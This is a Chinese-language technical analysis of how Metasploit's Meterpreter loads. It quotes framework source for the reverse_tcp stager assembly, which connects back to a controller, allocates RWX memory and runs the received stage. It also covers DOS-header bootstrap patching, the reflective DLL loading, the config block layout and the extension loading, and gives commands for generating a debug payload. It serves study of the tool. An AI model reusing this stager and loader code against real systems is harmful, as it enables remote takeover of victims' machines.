Metasploit - Meterpreter研究
一、meterpreter简介
Meterpreter 是一个功能强大的远程控制框架,常用于渗透测试和网络攻击中。它是 Metasploit 框架的一部分,Metasploit 是一个流行的开源渗透测试工具集。Meterpreter 提供了一个灵活的、模块化的平台,使攻击者能够在受攻击的系统上执行各种操作。
Meterpreter 具有以下特点和功能:
- 远程控制:Meterpreter 允许攻击者通过网络与远程受感染的计算机建立连接,并获取对该计算机的完全控制权限。
- 持久性:Meterpreter 提供了一系列方法,可以在受感染系统上实现持久化,以确保攻击者在系统重启后仍然能够访问。
- 功能模块:Meterpreter 提供了许多内置模块,用于执行各种操作,包括文件系统访问、网络探测、提权、远程 shell 访问等。
- 加密通信:Meterpreter 使用加密的通信通道,确保攻击者和受感染系统之间的数据传输是安全的,并且可以绕过防火墙和入侵检测系统的监控。
- 跨平台支持:Meterpreter 可以在多个操作系统上运行,包括 Windows、Linux、Mac 等。
二、payload类型
在metasploit中payload分成三种single、Stagers、Stages,在metasploit中是这样描述三种payload的。
单独的载荷(Singles) 单独的载荷是一次性的。它们可以与Metasploit创建通信机制,但不一定必须如此。一个需要使用单独载荷的场景示例是目标没有网络访问的情况下,可以通过USB键传递文件格式漏洞利用。载入器(Stagers) 载入器是一个小型存根,旨在创建某种形式的通信,然后将执行传递给下一阶段。使用载入器解决了两个问题。首先,它允许我们最初使用一个小型载荷来加载具有更多功能的大型载荷。其次,它使得将通信机制与最终阶段分离成为可能,这样就可以使用一个载荷与多个传输一起使用而无需重复代码。阶段(Stages) 由于载入器已经通过为我们分配一大块内存来处理任何大小限制,因此阶段可以任意大。其中一个优点是可以使用类似C语言的高级语言编写最终阶段的载荷。
理论上来说meterpreter属于Stages,即在通过Stagers建立通信并分配好一段RWX内存后,将meterpreter传输过去并放置在内存中执行。
三、meterpreter加载过程
-
整体过程(简略)
以payload/windows/meterpreter/reverse_tcp为例:
use payload/windows/meterpreter/reverse_tcp
这种属于Stagers + Stages的payload
- 生成一个带日志的meterpreter payload,方便对meterpreter加载过程进行观察
generate -f exe -o debugmeterpreter.exe MeterpreterDebugBuild=true
生成时是先生成了一个stagers,作为加载器,victim机器执行后,先建立和控制端的连接,后续通过该TCP连接会将剩余的Stages发送过去。
- 接着生成一个handler来处理victim的连接
to_handler
- 最后在victim机器执行
debugmeterpreter.exe
,此时会建立reverse_tcp连接并将Stage发送到victim机器并进行内存加载
-
调试信息
可以看到,metasploit打印出了一些调试信息,同时meterpreter也是生成的debug版本,为了对整体过程进行跟踪和分析,需要先了解如何进行日志输出。
- 针对metasploit
源码:https://github.com/rapid7/metasploit-framework
ruby脚本进行日志输出,可以用自带的log输出,如
print_status
。但是这个不一定所有的源文件内都能使用。也可以用
puts
,例如需要输出当前的调用堆栈可以puts caller.join("\n")
- 针对meterpreter
源码:https://github.com/rapid7/metasploit-payloads
由于是内存加载,没法挂调试器调试,好在源码中的日志输出十分详细,只要通过生成payload的时候设置参数就可以使用debug版本的模块,此时会通过OutputDebugString输出日志,用dbgview就可以查看。
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/metasploit-payloads-2.0.105/lib/metasploit-payloads.rb
#
# Get the path to a meterpreter binary by full name.
#
def self.meterpreter_path(name, binary_suffix, debug: false)
binary_suffix = binary_suffix&.gsub(/dll$/, 'debug.dll') if debug
path(METERPRETER_SUBFOLDER, "#{name}.#{binary_suffix}".downcase)
end
可以看到获取路径时如果是设置成debug模式就会使用 ".debug.dll"的模块
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/metasploit-payloads-2.0.105/data/meterpreter
- 调试模式开关
MeterpreterDebugBuild
,在generate的时候设置即可,也可以通过set命令直接设置为true
-
Stagers
本例中是reverse_tcp,这个主要负责和控制端建立首次连接。
/usr/share/metasploit-framework/modules/payloads/stagers/windows/reverse_tcp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 296
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => ['hdm', 'skape', 'sf'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' => {'RequiresMidstager' => false}
))
end
end
其实主要代码在Msf::Payload::Windows::ReverseTcp中
/usr/share/metasploit-framework/lib/msf/core/payload/windows/reverse_tcp.rb
- 从generate_reverse_tcp看起
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#首先是call start后面是 #{asm_block_api},这里把api_call的位置放入了堆栈,之后通过pop ebp取出,
#之后通过ebp负责对api进行调用,接下来就是两段shellcode -> asm_reverse_tcp、asm_block_recv
#分别负责建立连接和数据接收
这里的#{asm_block_api}是
/usr/share/metasploit-framework/lib/msf/core/payload/windows/block_api.rb
定义的函数,会根据platform从block_api.x86.graphml生成一段对应的机器码,用于从api的hash获取函数地址,可以直接打日志看看这段代码是啥东西:- asm_reverse_tcp建立tcp连接
def asm_reverse_tcp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
addr_fam = 2
sockaddr_size = 16
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
mov eax, ebp
call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
^
# Check if a bind port was specified
if opts[:bind_port]
bind_port = opts[:bind_port]
encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
asm << %Q^
xor eax, eax
push 11
pop ecx
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; bind to 0.0.0.0/[::], pushed above
push #{encoded_bind_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp
^
end
asm << %Q^
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
asm << asm_send_uuid if include_send_uuid
asm
end
#这段汇编注释的比较清楚了,主要就是建立连接的过程,有两个需要注意的
#1.ebp是api_call,通过ebp进行各种api调用
#2.edi最后会存储socket句柄,后续使用,最终会要传递给meterpreter_loader
- asm_block_recv接收数据
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_block_recv(opts={})
reliable = opts[:reliable]
#先接收stage长度,4字节
asm = %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle cleanup_socket
^
end
#申请RWX的buffer作为接收stage用,基址放在ebx中,先push到堆栈中之后可以ret到stage
#循环接收数据,通过判断长度直到接收完成
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^
# 这里如果是reliable会做一些容错和清理
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jge read_successful
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
; restore the stack back to the connection retry count
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jnz create_socket
jmp failure
^
end
#跳转到stage执行
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
# 注释较多就不逐行解释了,此处需要注意的有几个点
#1. 第39行VirtualAlloc申请的内存会放入ebx中,通过push放入堆栈中,这里最后会在ret的时候直接返回到申请的那段内存中,即通过传输接收到的stage
#2. socket句柄一直存放在edi中,后续返回到stage还需要用到
-
Stages
通过之前的Stager已经接收到Stage的数据,同时edi存放的socket句柄,接下来就开始将控制权交给meterpreter loader了。先简单看下meterpreter loader的结构。
+--------------+
| Patched DOS |
| header |
+--------------+
| |
. .
. metsrv dll .
. .
| |
+--------------+
| config block |
+--------------+
1) Loader部分
最上面是魔改后的dos头,前面看到Stager最后阶段返回到Stage直接就是数据的最开始,这里是将dos头直接修改了一下用来调用该模块的导出ReflectiveLoader和DllMain。紧跟着模块的是一个config block,是一系列的配置。后面展开,先看加载部分。
/usr/share/metasploit-framework/lib/msf/core/payload/windows/meterpreter_loader.rb
#stage_payload由stage_meterpreter和generate_config组成
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
- stage_meterpreter
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
#判断是否为MeterpreterDebugBuild是否为true,打包的时候会选择debug模块或release模块
debug_build = ds['MeterpreterDebugBuild']
# Exceptions will be thrown by the mixin if there are issues.
# 读取整个模块,这里dll放的是模块二进制数据,offset是ReflectiveLoader导出函数地址
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
# 这里将生成的bootstrap直接覆盖了dll的dos头
dll[ 0, bootstrap.length ] = bootstrap
dll
end
- load_rdi_dll
def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
dll = ''
puts dll_path
::File.open(dll_path, 'rb') { |f| dll = f.read }
offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)
unless offset
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
end
return dll, offset
end
- asm_invoke_metsrv (bootsharp生成)
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M' 保留MZ头
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes) call + pop 获取当前地址
push edx ; restore edx 由于保留MZ头这里两条指令和MZ头指令做反操作
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????) ReflectiveLoader位置,通过之前ebx计算,MZ 2字节 call 5字节,所以-7
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
; 这里是取config的位置,因为config刚好在模块结尾
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
#Stager阶段的socket(edi)在这里放到了config的第一项
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
#接下来就是调用dllmain了,参数需要config的地址,其他两个参数不是很重要
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
2) config部分
实际的config生成代码在
/usr/share/metasploit-framework/lib/rex/payloads/meterpreter/config.rb
def config_block
# start with the session information
# session信息
config = session_block(@opts)
# then load up the transport configurations
# transport信息,可以有多份
(@opts[:transports] || []).each do |t|
config << transport_block(t)
end
# terminate the transports with NULL (wchar)
config << "\x00\x00"
# configure the extensions - this will have to change when posix comes
# into play.
file_extension = 'x86.dll'
file_extension = 'x64.dll' unless is_x86?
(@opts[:extensions] || []).each do |e|
puts e
config << extension_block(e, file_extension, debug_build: @opts[:debug_build])
end
# terminate the extensions with a 0 size
config << [0].pack('V')
# wire in the extension init data
(@opts[:ext_init] || '').split(':').each do |cfg|
name, value = cfg.split(',')
config << extension_init_block(name, value)
end
# terminate the ext init config with -1
config << "\xFF\xFF\xFF\xFF"
# and we're done
config
end
end
从上面代码可以看到,config部分分三块分别是session config block、Transport config block、Extension configuration block
Session Config Block
+--------------+
|Socket Handle |
+--------------+
| Exit func |
+--------------+
|Session Expiry|
+--------------+
| |
| UUID |
| |
| |
+--------------+
| |
| session_guid |
| |
| |
+--------------+
| |
| log_path | -----> debug模式下会有这个,用来存放log路径
| |
| |
+--------------+
| <- 4 bytes ->|
直接上代码
def session_block(opts)
uuid = opts[:uuid].to_raw
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
# if no session guid is given then we'll just pass the blank
# guid through. this is important for stageless payloads
if opts[:stageless] == true || opts[:null_session_guid] == true
session_guid = "\x00" * 16
else
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
end
# socket handle通过bootsharp传递到这里
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifer
opts[:expiration], # Session expiry
uuid, # the UUID
session_guid, # the Session GUID
]
pack_string = 'QVVA*A*'
if opts[:debug_build]
session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target
pack_string << 'A*'
end
session_data.pack(pack_string)
end
Transport Config Block
TCP的情况
+--------------+
| |
| URL |
. .
. . 512 characters worth
. . (POSIX -> ASCII -> char)
. . (Windows -> wide char -> wchar_t)
. .
| |
+--------------+
| Comms T/O |
+--------------+
| Retry Total |
+--------------+
| Retry Wait |
+--------------+
| <- 4 bytes ->|
http的情况,接着上面会增加以下字段
+--------------+
| |
| Proxy host |
. . 128 characters worth (wchar_t)
| |
+--------------+
| |
| Proxy user |
. . 64 characters worth (wchar_t)
| |
+--------------+
| |
| Proxy pass |
. . 64 characters worth (wchar_t)
| |
+--------------+
| |
| User agent |
. . 256 characters worth (wchar_t)
| |
+--------------+
| |
| SSL cert |
| SHA1 hash |
| |
| |
+--------------+
| <- 4 bytes ->|
def transport_block(opts)
# Build the URL from the given parameters, and pad it out to the
# correct size
lhost = opts[:lhost]
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
url = "#{opts[:scheme]}://#{lhost}"
url << ":#{opts[:lport]}" if opts[:lport]
url << "#{opts[:uri]}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id]
# if the transport URI is for a HTTP payload we need to add a stack
# of other stuff
pack = 'A*VVV'
#字段分别表示 网址、连接超时时间、重试总时间、重试间隔时间
transport_data = [
to_str(url, URL_SIZE), # transport URL
opts[:comm_timeout], # communications timeout
opts[:retry_total], # retry total time
opts[:retry_wait] # retry wait time
]
#如果是http或者https还会有proxy,user agent、证书hash、还有http的头信息等
if url.start_with?('http')
proxy_host = ''
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
end
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
ua = to_str(opts[:ua] || '', UA_SIZE)
cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
custom_headers = opts[:custom_headers] || ''
custom_headers = to_str(custom_headers, custom_headers.length + 1)
# add the HTTP specific stuff
transport_data << proxy_host # Proxy host name
transport_data << proxy_user # Proxy user name
transport_data << proxy_pass # Proxy password
transport_data << ua # HTTP user agent
transport_data << cert_hash # SSL cert hash for verification
transport_data << custom_headers # any custom headers that the client needs
# update the packing spec
pack << 'A*A*A*A*A*A*'
end
# return the packed transport information
transport_data.pack(pack)
end
这个transport信息是可以有多份的。顺序排列,最后以"\x00\x00"结尾,meterpreter代码中会遍历这个transport,以url第一个字节是否为空来判断是否结束。
metasploit-payloads\c\meterpreter\source\metsrv\server_setup.c
static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
{
DWORD totalSize = 0;
MetsrvTransportCommon* current = transports;
// The first part of the transport is always the URL, if it's NULL, we are done.
while (current->url[0] != 0)
{
DWORD size;
if (create_transport(remote, current, &size) != NULL)
{
dprintf("[TRANS] transport created of size %u", size);
totalSize += size;
// go to the next transport based on the size of the existing one.
current = (MetsrvTransportCommon*)((LPBYTE)current + size);
}
else
{
// This is not good
return FALSE;
}
}
// account for the last terminating NULL wchar
*parsedSize = totalSize + sizeof(wchar_t);
return TRUE;
}
Extension Block
插件部分,meterpreter大部分功能包括一些基础功能都以插件的形式提供。当前以Stager+Stage方式是不会有这个Block的,只会在payload为Single时才会将插件直接打包在配置中。例如:
use payload/windows/meterpreter_reverse_tcp
def extension_block(ext_name, file_extension, debug_build: false)
ext_name = ext_name.strip.downcase
ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
file_extension, debug: debug_build))
[ ext.length, ext ].pack('VA*')
end
def extension_init_block(name, value)
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)
# for now, we're going to blindly assume that the value is a path to a file
# which contains the data that gets passed to the extension
content = ::File.read(value, mode: 'rb') + "\x00\x00"
data = [
ext_id,
content.length,
content
]
data.pack('VVA*')
end
这里包含了两个部分,一个是extension_block,另一个是extension_init_block
一个Extension block:
+--------------+
| Ext. Size |
+--------------+
| Ext. content |
+--------------+
| Ext. Size |
+--------------+
| Ext. content |
+--------------+
| NULL term. |
| (4 bytes) |
+--------------+
| ExtId | -------> extension_init_block
+--------------+
| content.lenth|
+--------------+
| content |
+--------------+
在所有extension block后会存放extension_init_block,这个主要是给插件传递一些附属参数用的,最终会在调用插件的StagelessInit方法时使用
/*!
* @brief Load any stageless extensions that might be present in the current payload.
* @param remote Pointer to the remote instance.
* @param fd The socket descriptor passed to metsrv during intialisation.
* @return Pointer to the end of the configuration.
*/
LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
{
while (stagelessExtensions->size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER));
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}
dprintf("[SERVER] All stageless extensions loaded");
// once we have reached the end, we may have extension initializers
LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);
// Config blog is terminated by a -1
while (*(UINT*)initData != 0xFFFFFFFF)
{
UINT extensionId = *(UINT*)initData;
DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD));
UINT offset = sizeof(UINT) + sizeof(DWORD);
LPBYTE data = initData + offset;
dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize);
stagelessinit_extension(extensionId, data, dataSize);
initData = data + dataSize;
dprintf("[STAGELESS] init done, now pointing to %p", initData);
dprintf("[STAGELESS] %p contains %x", *(UINT*)initData);
}
dprintf("[SERVER] All stageless extensions initialised");
return initData + sizeof(UINT);
}
详细config定义可以参考:
https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html
3) 插件加载
Extensions
meterpreter的Extensions是一系列的提供标准导出的模块
NAME extension.dll
EXPORTS
ReflectiveLoader @1 NONAME PRIVATE //内存加载导出
InitServerExtension @2 NONAME PRIVATE //插件初始化
DeinitServerExtension @3 NONAME PRIVATE //插件反初始化
StagelessInit @4 NONAME PRIVATE //Stageless初始化
CommandAdded @5 NONAME PRIVATE //命令添加通知
payload是single的话,在Extension Block中打包了需要的插件通过上面的load_stageless_extensions代码会加载插件。
多阶段的Stager + Stage下的插件加载
简单来说在session启动阶段会根据设置,发送命令让meterpreter加载Extensions。
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb
def bootstrap(datastore = {}, handler = nil)
session = self
......
unless datastore['AutoLoadStdapi'] == false
session.load_stdapi
unless datastore['AutoSystemInfo'] == false
session.load_session_info
end
# only load priv on native windows
# TODO: abstract this too, to remove windows stuff
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
......
end
end
这些最终会调用到client_core.rb中的load_library函数,将Extensions打包一个request传递给客户端
/usr/share/metasploit-framework/lib/rex/post/meterpreter/client_core.rb
#
# Loads a library on the remote meterpreter instance. This method
# supports loading both extension and non-extension libraries and
# also supports loading libraries from memory or disk depending
# on the flags that are specified
#
# Supported flags:
#
# LibraryFilePath
# The path to the library that is to be loaded
#
# LibraryFileImage
# Binary object containing the library to be loaded
# (can be used instead of LibraryFilePath)
#
# TargetFilePath
# The target library path when uploading
#
# UploadLibrary
# Indicates whether or not the library should be uploaded
#
# SaveToDisk
# Indicates whether or not the library should be saved to disk
# on the remote machine
#
# Extension
# Indicates whether or not the library is a meterpreter extension
def load_library(opts)
library_path = opts['LibraryFilePath']
library_image = opts['LibraryFileImage'] #模块映像
target_path = opts['TargetFilePath']
load_flags = LOAD_LIBRARY_FLAG_LOCAL
# No library path, no cookie.
if library_path.nil? && library_image.nil?
raise ArgumentError, 'No library file path or image was supplied', caller
end
# Set up the proper loading flags
if opts['UploadLibrary']
load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
end
if opts['SaveToDisk']
load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
end
if opts['Extension']
load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
end
# Create a request packet
# 调用COMMAND_ID_CORE_LOADLIB
request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)
# If we must upload the library, do so now
if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
if library_image.nil?
# Caller did not provide the image, load it from the path
library_image = ''
::File.open(library_path, 'rb') { |f|
library_image = f.read
}
end
#模块映像放入包中传递给client
if library_image
request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
else
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
end
# If it's an extension we're dealing with, rename the library
# path of the local and target so that it gets loaded with a random
# name
if opts['Extension']
if client.binary_suffix and client.binary_suffix.size > 1
/(.*)\.(.*)/.match(library_path)
suffix = $2
elsif client.binary_suffix.size == 1
suffix = client.binary_suffix[0]
else
suffix = client.binary_suffix
end
library_path = "ext#{rand(1000000)}.#{suffix}"
target_path = "/tmp/#{library_path}"
end
end
# Add the base TLVs
request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
request.add_tlv(TLV_TYPE_FLAGS, load_flags)
if !target_path.nil?
request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
end
# Transmit the request and wait the default timeout seconds for a response
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
# No response?
if response.nil?
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
elsif response.result != 0
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
commands = []
response.each(TLV_TYPE_UINT) { |c|
commands << c.value
}
commands
end
meterpreter客户端处理
metasploit-payloads\c\meterpreter\source\metsrv\remote_dispatch.c
接收COMMAND_ID_CORE_LOADLIB命令获取插件文件内容并调用其自身reflectiveLoader导出
/*
* @brief Load a library from the request packet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
HMODULE library;
PCHAR libraryPath;
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
dprintf("[LOADLIB] here 1");
Command *first = extensionCommands;
do
{
dprintf("[LOADLIB] here 2");
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
dprintf("[LOADLIB] here 3");
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path?
if (!libraryPath)
{
res = ERROR_INVALID_PARAMETER;
break;
}
dprintf("[LOADLIB] here 4");
// If the lib does not exist locally, but is being uploaded...
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
{
PCHAR targetPath;
Tlv dataTlv;
dprintf("[LOADLIB] here 5");
// Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
{
res = ERROR_INVALID_PARAMETER;
break;
}
dprintf("[LOADLIB] here 6");
// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
dprintf("[LOADLIB] here 7");
// try to load the library via its reflective loader...
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
dprintf("[LOADLIB] here 8");
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
// reflective injection, we default to using libloader...
library = libloader_load_library(targetPath,
dataTlv.buffer, dataTlv.header.length);
}
else
{
bLibLoadedReflectivly = TRUE;
}
dprintf("[LOADLIB] here 9");
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
else
{
// Otherwise, save the library buffer to disk
res = buffer_to_file(targetPath, dataTlv.buffer,
dataTlv.header.length);
}
// Override the library path
libraryPath = targetPath;
}
// If a previous operation failed, break out.
if (res != ERROR_SUCCESS)
{
break;
}
// Load the library
if (!library && !(library = LoadLibraryA(libraryPath)))
{
res = GetLastError();
}
// If this library is supposed to be an extension library, try to
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
}
} while (0);
